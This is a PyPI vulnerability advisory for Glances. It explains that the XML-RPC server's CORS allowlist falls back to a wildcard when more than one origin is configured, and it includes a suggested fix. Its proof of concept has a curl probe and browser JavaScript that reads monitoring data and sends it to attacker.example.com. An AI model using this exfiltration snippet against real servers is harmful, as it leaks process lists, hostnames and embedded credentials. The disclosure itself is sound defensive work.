id: PYSEC-2026-2495
published: "2026-07-13T15:46:22.913578Z"
modified: "2026-07-13T16:04:09.086679Z"
aliases:
- CVE-2026-46608
- GHSA-87qc-fj39-wccr
summary: "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)"
details: "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n# ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent | ACAO header returned | Expected |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*` | No header |\n| `https://dashboard.corp` | `*` | Reflected |\n| `https://grafana.corp` | `*` | Reflected |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n -H \"Content-Type: text/plain\" \\\n -H \"Origin: http://evil.example.com\" \\\n -d '\n getAllPlugins'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\n\n \n cpu\n mem\n ...\n \n\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances') # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard? :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard? : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\n getAll`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n method: 'POST',\n headers: { 'Content-Type': 'text/plain' },\n body: payload,\n})\n.then(r => r.text())\n.then(data => {\n // 'data' contains hostname, OS, full process list, network interfaces, etc.\n fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -> str | None:\n \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n if not self.cors_origins or '*' in self.cors_origins:\n return '*'\n if request_origin in self.cors_origins:\n return request_origin\n return None # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao = self._get_acao_header(origin)\nif acao:\n self.send_header('Access-Control-Allow-Origin', acao)\n self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---"
affected:
- package:
name: glances
ecosystem: PyPI
purl: pkg:pypi/glances
ranges:
- type: ECOSYSTEM
events:
- introduced: "0"
- fixed: 4.5.5
versions:
- 1.3.1
- 1.3.2
- 1.3.3
- 1.3.4
- 1.3.5
- 1.3.6
- 1.3.7
- "1.4"
- 1.4.1
- 1.4.1.1
- 1.4.2
- 1.4.2.1
- "1.5"
- 1.5.1
- 1.5.2
- "1.6"
- 1.6.1
- "1.7"
- 1.7.1
- 1.7.2
- 1.7.3
- 1.7.4
- 1.7.5
- 1.7.6
- 1.7.7
- "2.0"
- 2.0.1
- "2.1"
- 2.1.1
- 2.1.2
- "2.10"
- "2.11"
- 2.11.1
- "2.2"
- 2.2.1
- "2.3"
- "2.4"
- 2.4.1
- 2.4.2
- "2.5"
- 2.5.1
- "2.6"
- 2.6.1
- 2.6.2
- "2.7"
- 2.7.1
- "2.8"
- 2.8.1
- 2.8.2
- 2.8.3
- 2.8.4
- 2.8.5
- 2.8.6
- 2.8.7
- 2.8.8
- 2.9.0
- 2.9.1
- "3.0"
- 3.0.1
- 3.0.2
- 3.1.0
- 3.1.1
- 3.1.2
- 3.1.3
- 3.1.4
- 3.1.4.1
- 3.1.5
- 3.1.6
- 3.1.6.1
- 3.1.6.2
- 3.1.7
- 3.2.0
- 3.2.1
- 3.2.2
- 3.2.3
- 3.2.3.1
- 3.2.4
- 3.2.4.1
- 3.2.4.2
- 3.2.5
- 3.2.6.1
- 3.2.6.2
- 3.2.6.3
- 3.2.6.4
- 3.2.7
- 3.3.0
- 3.3.0.1
- 3.3.0.2
- 3.3.0.3
- 3.3.0.4
- 3.3.1
- 3.3.1.1
- 3.4.0
- 3.4.0.1
- 3.4.0.2
- 3.4.0.3
- 3.4.0.4
- 3.4.0.5
- 4.0.1
- 4.0.2
- 4.0.3
- 4.0.4
- 4.0.5
- 4.0.6
- 4.0.7
- 4.0.8
- 4.1.0
- 4.1.1
- 4.1.2
- 4.2.0
- 4.2.1
- 4.3.0
- 4.3.0.1
- 4.3.0.3
- 4.3.0.4
- 4.3.0.5
- 4.3.0.6
- 4.3.0.7
- 4.3.0.8
- 4.3.1
- 4.3.2
- 4.3.3
- 4.4.0
- 4.4.1
- 4.5.0
- 4.5.0.1
- 4.5.0.2
- 4.5.0.3
- 4.5.0.4
- 4.5.0.5
- 4.5.1
- 4.5.2
- 4.5.3
- 4.5.4
references:
- type: WEB
url: https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr
- type: PACKAGE
url: https://github.com/nicolargo/glances
- type: WEB
url: https://github.com/nicolargo/glances/releases/tag/v4.5.5
- type: PACKAGE
url: https://pypi.org/project/glances
- type: ADVISORY
url: https://github.com/advisories/GHSA-87qc-fj39-wccr
- type: ADVISORY
url: https://nvd.nist.gov/vuln/detail/CVE-2026-46608
severity:
- type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N